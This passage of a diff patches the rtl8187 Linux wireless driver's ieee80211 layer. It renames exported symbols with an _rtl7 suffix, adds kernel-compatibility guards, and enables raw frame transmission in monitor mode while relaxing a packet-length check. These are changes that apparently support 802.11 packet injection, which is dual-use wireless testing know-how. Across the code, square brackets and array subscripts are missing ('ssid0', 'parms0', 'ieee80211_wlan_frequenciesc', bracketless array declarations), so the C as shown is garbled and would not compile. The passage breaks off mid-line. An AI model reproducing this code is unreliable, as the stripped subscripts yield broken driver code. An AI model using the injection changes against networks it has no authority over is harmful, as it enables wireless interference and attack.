+@@ -2552,20 +2589,20 @@
+ 	switch (param->cmd) {
+ 
+ 	case IEEE_CMD_SET_WPA_PARAM:
+-		ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name,
++		ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name,
+ 					param->u.wpa_param.value);
+ 		break;
+ 
+ 	case IEEE_CMD_SET_WPA_IE:
+-		ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length);
++		ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length);
+ 		break;
+ 
+ 	case IEEE_CMD_SET_ENCRYPTION:
+-		ret = ieee80211_wpa_set_encryption(ieee, param, p->length);
++		ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length);
+ 		break;
+ 
+ 	case IEEE_CMD_MLME:
+-		ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command,
++		ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command,
+ 				   param->u.mlme.reason_code);
+ 		break;
+ 
+@@ -2581,11 +2618,11 @@
+ 	kfree(param);
+ out:
+ 	up(&ieee->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+-void notify_wx_assoc_event(struct ieee80211_device *ieee)
++void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee)
+ {
+ 	union iwreq_data wrqu;
+ 	wrqu.ap_addr.sa_family = ARPHRD_ETHER;
+@@ -2597,14 +2634,14 @@
+ }
+ 
+ 
+-EXPORT_SYMBOL(ieee80211_get_beacon);
+-EXPORT_SYMBOL(ieee80211_wake_queue);
+-EXPORT_SYMBOL(ieee80211_stop_queue);
+-EXPORT_SYMBOL(ieee80211_reset_queue);
+-EXPORT_SYMBOL(ieee80211_softmac_stop_protocol);
+-EXPORT_SYMBOL(ieee80211_softmac_start_protocol);
+-EXPORT_SYMBOL(ieee80211_is_shortslot);
+-EXPORT_SYMBOL(ieee80211_is_54g);
+-EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl);
+-EXPORT_SYMBOL(ieee80211_ps_tx_ack);
+-//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame);
++EXPORT_SYMBOL(ieee80211_get_beacon_rtl7);
++EXPORT_SYMBOL(ieee80211_wake_queue_rtl7);
++EXPORT_SYMBOL(ieee80211_stop_queue_rtl7);
++EXPORT_SYMBOL(ieee80211_reset_queue_rtl7);
++EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7);
++EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7);
++EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7);
++EXPORT_SYMBOL(ieee80211_is_54g_rtl7);
++EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7);
++EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7);
++//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c
+--- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c	2007-06-05 14:00:29.000000000 +0200
+@@ -1,7 +1,7 @@
+ /* IEEE 802.11 SoftMAC layer
+  * Copyright (c) 2005 Andrea Merello <andreamrl@tiscali.it>
+  *
+- * Mostly extracted from the rtl8180-sa2400 driver for the 
++ * Mostly extracted from the rtl8180-sa2400 driver for the
+  * in-kernel generic ieee802.11 stack.
+  *
+  * Some pieces of code might be stolen from ipw2100 driver
+@@ -18,23 +18,23 @@
+ 
+ /* FIXME: add A freqs */
+ 
+-const long ieee80211_wlan_frequencies = {  
+-	2412, 2417, 2422, 2427, 
+-	2432, 2437, 2442, 2447, 
+-	2452, 2457, 2462, 2467, 
+-	2472, 2484  
++const long ieee80211_wlan_frequencies_rtl7 = {
++	2412, 2417, 2422, 2427,
++	2432, 2437, 2442, 2447,
++	2452, 2457, 2462, 2467,
++	2472, 2484
+ };
+ 
+ 
+-int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 	int ret;
+ 	struct iw_freq *fwrq = & wrqu->freq;
+ 
+ 	down(&ieee->wx_sem);
+-	
+-	if(ieee->iw_mode == IW_MODE_INFRA){ 
++
++	if(ieee->iw_mode == IW_MODE_INFRA){
+ 		ret = -EOPNOTSUPP;
+ 		goto out;
+ 	}
+@@ -45,31 +45,31 @@
+ 		     fwrq->m <= (int) 2.487e8)) {
+ 			int f = fwrq->m / 100000;
+ 			int c = 0;
+-			
+-			while ((c < 14) && (f != ieee80211_wlan_frequenciesc))
++
++			while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7c))
+ 				c++;
+-			
++
+ 			/* hack to fall through */
+ 			fwrq->e = 0;
+ 			fwrq->m = c + 1;
+ 		}
+ 	}
+-	
+-	if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ 
++
++	if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){
+ 		ret = -EOPNOTSUPP;
+ 		goto out;
+-	
++
+ 	}else { /* Set the channel */
+-		
+-		
++
++
+ 		ieee->current_network.channel = fwrq->m;
+ 		ieee->set_chan(ieee->dev, ieee->current_network.channel);
+-		
++
+ 		if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER)
+ 			if(ieee->state == IEEE80211_LINKED){
+-			
+-			ieee80211_stop_send_beacons(ieee);
+-			ieee80211_start_send_beacons(ieee);
++
++			ieee80211_stop_send_beacons_rtl7(ieee);
++			ieee80211_start_send_beacons_rtl7(ieee);
+ 			}
+ 	}
+ 
+@@ -80,7 +80,7 @@
+ }
+ 
+ 
+-int ieee80211_wx_get_freq(struct ieee80211_device *ieee,
++int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee,
+ 			     struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+@@ -88,110 +88,110 @@
+ 
+ 	if (ieee->current_network.channel == 0)
+ 		return -1;
+-	
++
+ 	fwrq->m = ieee->current_network.channel;
+ 	fwrq->e = 0;
+-	
++
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_get_wap(struct ieee80211_device *ieee, 
+-			    struct iw_request_info *info, 
++int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *extra)
+ {
+-	unsigned long flags;	
+-	
++	unsigned long flags;
++
+ 	wrqu->ap_addr.sa_family = ARPHRD_ETHER;
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_MONITOR)
+ 		return -1;
+-	
++
+ 	/* We want avoid to give to the user inconsistent infos*/
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
+-	if (ieee->state != IEEE80211_LINKED && 
++
++	if (ieee->state != IEEE80211_LINKED &&
+ 		ieee->state != IEEE80211_LINKED_SCANNING &&
+ 		ieee->wap_set == 0)
+-		
++
+ 		memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN);
+ 	else
+-		memcpy(wrqu->ap_addr.sa_data, 
++		memcpy(wrqu->ap_addr.sa_data,
+ 		       ieee->current_network.bssid, ETH_ALEN);
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	return 0;
+ }
+ 
+ 
+-int ieee80211_wx_set_wap(struct ieee80211_device *ieee,
++int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee,
+ 			 struct iw_request_info *info,
+ 			 union iwreq_data *awrq,
+ 			 char *extra)
+ {
+-	
++
+ 	int ret = 0;
+ 	u8 zero = {0,0,0,0,0,0};
+ 	unsigned long flags;
+-	
++
++	struct sockaddr *temp = NULL;
+ 	short ifup = ieee->proto_started;//dev->flags & IFF_UP;
+-	
++
+ 	ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
+-	struct sockaddr *temp = (struct sockaddr *)awrq;
+-	
++
++	temp = (struct sockaddr *)awrq;
+ 	/* use ifconfig hw ether */
+ 	if (ieee->iw_mode == IW_MODE_MASTER){
+ 		ret = -1;
+ 		goto out;
+ 	}
+-	
++
+ 	if (temp->sa_family != ARPHRD_ETHER){
+ 		ret = -EINVAL;
+ 		goto out;
+ 	}
+-	
++
+ 	if (ifup)
+-		ieee80211_stop_protocol(ieee);
+-	
++		ieee80211_stop_protocol_rtl7(ieee);
++
+ 	/* just to avoid to give inconsistent infos in the
+-	 * get wx method. not really needed otherwise 
++	 * get wx method. not really needed otherwise
+ 	 */
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
+-	memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); 
++
++	memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN);
+ 	ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0;
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	if (ifup)
+-		ieee80211_start_protocol(ieee);
+-	
++		ieee80211_start_protocol_rtl7(ieee);
++
+ out:
+ 	up(&ieee->wx_sem);
+ 	return ret;
+ }
+-	
+- int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b)
++
++ int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b)
+ {
+ 	int len,ret = 0;
+ 	unsigned long flags;
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_MONITOR)
+ 		return -1;
+-	
+-	/* We want avoid to give to the user inconsistent infos*/	
++
++	/* We want avoid to give to the user inconsistent infos*/
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if (ieee->current_network.ssid0 == '\0' ||
+-		ieee->current_network.ssid_len == 0){ 
++		ieee->current_network.ssid_len == 0){
+ 		ret = -1;
+ 		goto out;
+ 	}
+-	
+-	if (ieee->state != IEEE80211_LINKED && 
++
++	if (ieee->state != IEEE80211_LINKED &&
+ 		ieee->state != IEEE80211_LINKED_SCANNING &&
+ 		ieee->ssid_set == 0){
+ 		ret = -1;
+@@ -204,59 +204,76 @@
+ 
+ out:
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	return ret;
+-	
++
+ }
+ 
+-int ieee80211_wx_set_rate(struct ieee80211_device *ieee, 
++int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee,
+ 			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+ 
+ 	u32 target_rate = wrqu->bitrate.value;
+-	
++
+ 	ieee->rate = target_rate/100000;
+ 	//FIXME: we might want to limit rate also in management protocols.
+-	return 0; 
++	return 0;
+ }
+ 
+ 
+ 
+-int ieee80211_wx_get_rate(struct ieee80211_device *ieee, 
+-			     struct iw_request_info *info, 
++int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	
++
+ 	wrqu->bitrate.value = ieee->rate * 100000;
+-	
++
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	
++	short prev = ieee->raw_tx;
++
+ 	ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	if (wrqu->mode == ieee->iw_mode)
+ 		goto out;
+-	
++
+ 	if (wrqu->mode == IW_MODE_MONITOR){
+-	
+-		ieee->dev->type = ARPHRD_IEEE80211;
++		ieee->dev->type = ARPHRD_IEEE80211_PRISM;
+ 	}else{
+ 		ieee->dev->type = ARPHRD_ETHER;
+ 	}
+-	
++
+ 	if (!ieee->proto_started){
+ 		ieee->iw_mode = wrqu->mode;
+ 	}else{
+-		ieee80211_stop_protocol(ieee);
++		ieee80211_stop_protocol_rtl7(ieee);
+ 		ieee->iw_mode = wrqu->mode;
+-		ieee80211_start_protocol(ieee);
++		ieee80211_start_protocol_rtl7(ieee);
++	}
++
++	if(ieee->iw_mode == IW_MODE_MONITOR)
++	{
++		ieee->raw_tx = 1;
++		if(prev == 0 && ieee->raw_tx){
++			if (ieee->data_hard_resume)
++				ieee->data_hard_resume(ieee->dev);
++
++			netif_carrier_on(ieee->dev);
++		}
++
++		netif_carrier_on(ieee->dev);
++	}
++	else
++	{
++		ieee->raw_tx = 0;
+ 	}
+ 
+ out:
+@@ -264,120 +281,132 @@
+ 	return 0;
+ }
+ 
+-void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee)
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work)
+ {
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq);
++#else
++void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	short chan;
+ 
+ 	chan = ieee->current_network.channel;
+-	
++
+ 	netif_carrier_off(ieee->dev);
+-	
++
+ 	if (ieee->data_hard_stop)
+ 		ieee->data_hard_stop(ieee->dev);
+-	
+-	ieee80211_stop_send_beacons(ieee);
+-		
++
++	ieee80211_stop_send_beacons_rtl7(ieee);
++
+ 	ieee->state = IEEE80211_LINKED_SCANNING;
+ 	ieee->link_change(ieee->dev);
+-	
+-	ieee80211_start_scan_syncro(ieee);
+-	
++
++	ieee80211_start_scan_syncro_rtl7(ieee);
++
+ 	ieee->set_chan(ieee->dev, chan);
+-	
++
+ 	ieee->state = IEEE80211_LINKED;
+ 	ieee->link_change(ieee->dev);
+-	
++
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+-	
++
+ 	if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER)
+-		ieee80211_start_send_beacons(ieee);
+-	
++		ieee80211_start_send_beacons_rtl7(ieee);
++
+ 	netif_carrier_on(ieee->dev);
+-	
++
+ 	up(&ieee->wx_sem);
+-	
++
+ }
+ 
+-int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a,
++int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 	int ret = 0;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
+-	if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ 
++
++	if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){
+ 		ret = -1;
+ 		goto out;
+ 	}
+-	
++
+ 	if ( ieee->state == IEEE80211_LINKED){
+ 		queue_work(ieee->wq, &ieee->wx_sync_scan_wq);
+ 		/* intentionally forget to up sem */
+ 		return 0;
+ 	}
+-		
++
+ out:
+ 	up(&ieee->wx_sem);
+ 	return ret;
+ }
+ 
+-int ieee80211_wx_set_essid(struct ieee80211_device *ieee, 
++int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee,
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *extra)
+ {
+-	
++
+ 	int ret=0,len;
+ 	short proto_started;
+ 	unsigned long flags;
+-	
++
+ 	ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	proto_started = ieee->proto_started;
+-	
++
+ 	if (wrqu->essid.length > IW_ESSID_MAX_SIZE){
+ 		ret= -E2BIG;
+ 		goto out;
+ 	}
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_MONITOR){
+ 		ret= -1;
+ 		goto out;
+ 	}
+-	
++
+ 	if(proto_started)
+-		ieee80211_stop_protocol(ieee);
+-	
++		ieee80211_stop_protocol_rtl7(ieee);
++
+ 	/* this is just to be sure that the GET wx callback
+ 	 * has consisten infos. not needed otherwise
+ 	 */
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if (wrqu->essid.flags && wrqu->essid.length) {
++#if WIRELESS_EXT > 20
++		len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE);
++#else
+ 		len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE;
+-		
++#endif
++
+ 		strncpy(ieee->current_network.ssid, extra, len);
+ 		ieee->current_network.ssid_len = len;
+ 		ieee->ssid_set = 1;
+ 	}
+-	else{ 
++	else{
+ 		ieee->ssid_set = 0;
+ 		ieee->current_network.ssid0 = '\0';
+ 		ieee->current_network.ssid_len = 0;
+ 	}
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	if (proto_started)
+-		ieee80211_start_protocol(ieee);
++		ieee80211_start_protocol_rtl7(ieee);
+ out:
+ 	up(&ieee->wx_sem);
++
++
+ 	return ret;
+ }
+ 
+- int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++ int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 
+@@ -385,23 +414,23 @@
+ 	return 0;
+ }
+ 
+- int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
+-			       struct iw_request_info *info, 
++ int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee,
++			       struct iw_request_info *info,
+ 			       union iwreq_data *wrqu, char *extra)
+ {
+-	
++
+ 	int *parms = (int *)extra;
+ 	int enable = (parms0 > 0);
+ 	short prev = ieee->raw_tx;
+ 
+ 	down(&ieee->wx_sem);
+-	
+-	if(enable) 
++
++	if(enable)
+ 		ieee->raw_tx = 1;
+-	else 
++	else
+ 		ieee->raw_tx = 0;
+ 
+-	printk(KERN_INFO"raw TX is %s\n", 
++	printk(KERN_INFO"raw TX is %s\n",
+ 	      ieee->raw_tx ? "enabled" : "disabled");
+ 
+ 	if(ieee->iw_mode == IW_MODE_MONITOR)
+@@ -409,21 +438,21 @@
+ 		if(prev == 0 && ieee->raw_tx){
+ 			if (ieee->data_hard_resume)
+ 				ieee->data_hard_resume(ieee->dev);
+-	
+-			netif_carrier_on(ieee->dev);	
++
++			netif_carrier_on(ieee->dev);
+ 		}
+-		
++
+ 		if(prev && ieee->raw_tx == 1)
+-			netif_carrier_off(ieee->dev); 
++			netif_carrier_off(ieee->dev);
+ 	}
+-	
++
+ 	up(&ieee->wx_sem);
+-	
++
+ 	return 0;
+ }
+- 
+-int ieee80211_wx_get_name(struct ieee80211_device *ieee, 
+-			     struct iw_request_info *info, 
++
++int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+ 	strcpy(wrqu->name, "802.11");
+@@ -433,20 +462,20 @@
+ 			strcat(wrqu->name, "/g");
+ 	}else if(ieee->modulation & IEEE80211_OFDM_MODULATION)
+ 		strcat(wrqu->name, "g");
+-	
+-	if((ieee->state == IEEE80211_LINKED) || 
++
++	if((ieee->state == IEEE80211_LINKED) ||
+ 		(ieee->state == IEEE80211_LINKED_SCANNING))
+ 		strcat(wrqu->name," linked");
+ 	else if(ieee->state != IEEE80211_NOLINK)
+ 		strcat(wrqu->name," link..");
+-	
+-	
++
++
+ 	return 0;
+ }
+ 
+ 
+ /* this is mostly stolen from hostap */
+-int ieee80211_wx_set_power(struct ieee80211_device *ieee,
++int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra)
+ {
+@@ -457,50 +486,50 @@
+ 		(!ieee->ps_request_tx_ack) ||
+ 		(!ieee->enter_sleep_state) ||
+ 		(!ieee->ps_is_queue_empty)){
+-		
++
+ 		printk("ERROR. PS mode is tryied to be use but\
+-driver missed a callback\n\n");	
+-	
++driver missed a callback\n\n");
++
+ 		return -1;
+ 	}
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	if (wrqu->power.disabled){
+ 		ieee->ps = IEEE80211_PS_DISABLED;
+-		
++
+ 		goto exit;
+ 	}
+ 	switch (wrqu->power.flags & IW_POWER_MODE) {
+ 	case IW_POWER_UNICAST_R:
+ 		ieee->ps = IEEE80211_PS_UNICAST;
+-		
++
+ 		break;
+ 	case IW_POWER_ALL_R:
+-		ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST;	
++		ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST;
+ 		break;
+-		
++
+ 	case IW_POWER_ON:
+ 		ieee->ps = IEEE80211_PS_DISABLED;
+ 		break;
+-		
++
+ 	default:
+ 		ret = -EINVAL;
+ 		goto exit;
+ 	}
+ 
+ 	if (wrqu->power.flags & IW_POWER_TIMEOUT) {
+-				      
++
+ 		ieee->ps_timeout = wrqu->power.value / 1000;
+ 		printk("Timeout %d\n",ieee->ps_timeout);
+ 	}
+-	
++
+ 	if (wrqu->power.flags & IW_POWER_PERIOD) {
+-		
++
+ 		ret = -EOPNOTSUPP;
+ 		goto exit;
+ 		//wrq->value / 1024;
+-		
++
+ 	}
+ exit:
+ 	up(&ieee->wx_sem);
+@@ -509,15 +538,15 @@
+ }
+ 
+ /* this is stolen from hostap */
+-int ieee80211_wx_get_power(struct ieee80211_device *ieee,
++int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra)
+ {
+ 	int ret =0;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
+-	if(ieee->ps == IEEE80211_PS_DISABLED){	
++
++	if(ieee->ps == IEEE80211_PS_DISABLED){
+ 		wrqu->power.disabled = 1;
+ 		goto exit;
+ 	}
+@@ -547,19 +576,19 @@
+ 
+ }
+ 
+-EXPORT_SYMBOL(ieee80211_wx_get_essid);
+-EXPORT_SYMBOL(ieee80211_wx_set_essid);
+-EXPORT_SYMBOL(ieee80211_wx_set_rate);
+-EXPORT_SYMBOL(ieee80211_wx_get_rate);
+-EXPORT_SYMBOL(ieee80211_wx_set_wap);
+-EXPORT_SYMBOL(ieee80211_wx_get_wap);
+-EXPORT_SYMBOL(ieee80211_wx_set_mode);
+-EXPORT_SYMBOL(ieee80211_wx_get_mode);
+-EXPORT_SYMBOL(ieee80211_wx_set_scan);
+-EXPORT_SYMBOL(ieee80211_wx_get_freq);
+-EXPORT_SYMBOL(ieee80211_wx_set_freq);
+-EXPORT_SYMBOL(ieee80211_wx_set_rawtx);
+-EXPORT_SYMBOL(ieee80211_wx_get_name);
+-EXPORT_SYMBOL(ieee80211_wx_set_power);
+-EXPORT_SYMBOL(ieee80211_wx_get_power);
+-EXPORT_SYMBOL(ieee80211_wlan_frequencies);
++EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7);
++EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c
+--- rtl8187_orig/ieee80211/ieee80211_tx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_tx.c	2007-06-05 14:00:29.000000000 +0200
+@@ -32,7 +32,6 @@
+ ******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,12 @@
+ #include <linux/etherdevice.h>
+ #include <asm/uaccess.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+@@ -155,7 +160,7 @@
+ static u8 P802_1H_OUIP80211_OUI_LEN = { 0x00, 0x00, 0xf8 };
+ static u8 RFC1042_OUIP80211_OUI_LEN = { 0x00, 0x00, 0x00 };
+ 
+-static inline int ieee80211_put_snap(u8 *data, u16 h_proto)
++static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto)
+ {
+ 	struct ieee80211_snap_hdr *snap;
+ 	u8 *oui;
+@@ -178,7 +183,7 @@
+ 	return SNAP_SIZE + sizeof(u16);
+ }
+ 
+-int ieee80211_encrypt_fragment(
++int ieee80211_encrypt_fragment_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct sk_buff *frag,
+ 	int hdr_len)
+@@ -225,7 +230,7 @@
+ }
+ 
+ 
+-void ieee80211_txb_free(struct ieee80211_txb *txb) {
++void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) {
+ 	int i;
+ 	if (unlikely(!txb))
+ 		return;
+@@ -235,7 +240,7 @@
+ 	kfree(txb);
+ }
+ 
+-struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size,
++struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size,
+ 					  int gfp_mask)
+ {
+ 	struct ieee80211_txb *txb;
+@@ -267,7 +272,7 @@
+ }
+ 
+ /* SKBs are added to the ieee->tx_queue. */
+-int ieee80211_xmit(struct sk_buff *skb,
++int ieee80211_xmit_rtl7(struct sk_buff *skb,
+ 		   struct net_device *dev)
+ {
+ 	struct ieee80211_device *ieee = netdev_priv(dev);
+@@ -397,7 +402,7 @@
+ 		/* When we allocate the TXB we allocate enough space for the reserve
+ 		* and full fragment bytes (bytes_per_frag doesn't include prefix,
+ 		* postfix, header, FCS, etc.) */
+-		txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC);
++		txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC);
+ 		if (unlikely(!txb)) {
+ 			printk(KERN_WARNING "%s: Could not allocate TXB\n",
+ 			ieee->dev->name);
+@@ -432,7 +437,7 @@
+ 			
+ 			/* Put a SNAP header on the first fragment */
+ 			if (i == 0) {
+-				ieee80211_put_snap(
++				ieee80211_put_snap_rtl7(
+ 					skb_put(skb_frag, SNAP_SIZE + sizeof(u16)),
+ 					ether_type);
+ 				bytes -= SNAP_SIZE + sizeof(u16);
+@@ -446,7 +451,7 @@
+ 			/* Encryption routine will move the header forward in order
+ 			* to insert the IV between the header and the payload */
+ 			if (encrypt)
+-				ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len);
++				ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len);
+ 			if (ieee->config &
+ 			(CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS))
+ 				skb_put(skb_frag, 4);
+@@ -458,13 +463,14 @@
+ 			ieee->seq_ctrl++;
+ 		//---
+ 	}else{
+-		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++//		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++		if (unlikely(skb->len < 14)) {
+ 			printk(KERN_WARNING "%s: skb too small (%d).\n",
+ 			ieee->dev->name, skb->len);
+ 			goto success;
+ 		}
+ 	
+-		txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC);
++		txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC);
+ 		if(!txb){
+ 			printk(KERN_WARNING "%s: Could not allocate TXB\n",
+ 			ieee->dev->name);
+@@ -481,14 +487,14 @@
+ 	dev_kfree_skb_any(skb);
+ 	if (txb) {
+ 		if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){
+-			ieee80211_softmac_xmit(txb, ieee);
++			ieee80211_softmac_xmit_rtl7(txb, ieee);
+ 		}else{
+ 			if ((*ieee->hard_start_xmit)(txb, dev) == 0) {
+ 				stats->tx_packets++;
+ 				stats->tx_bytes += txb->payload_size;
+ 				return 0;
+ 			}
+-			ieee80211_txb_free(txb);
++			ieee80211_txb_free_rtl7(txb);
+ 		}
+ 		
+ 		
+@@ -504,4 +510,4 @@
+ 
+ }
+ 
+-EXPORT_SYMBOL(ieee80211_txb_free);
++EXPORT_SYMBOL(ieee80211_txb_free_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c
+--- rtl8187_orig/ieee80211/ieee80211_wx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_wx.c	2007-06-05 14:00:29.000000000 +0200
+@@ -40,7 +40,7 @@
+ };
+ 
+ #define MAX_CUSTOM_LEN 64
+-static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee,
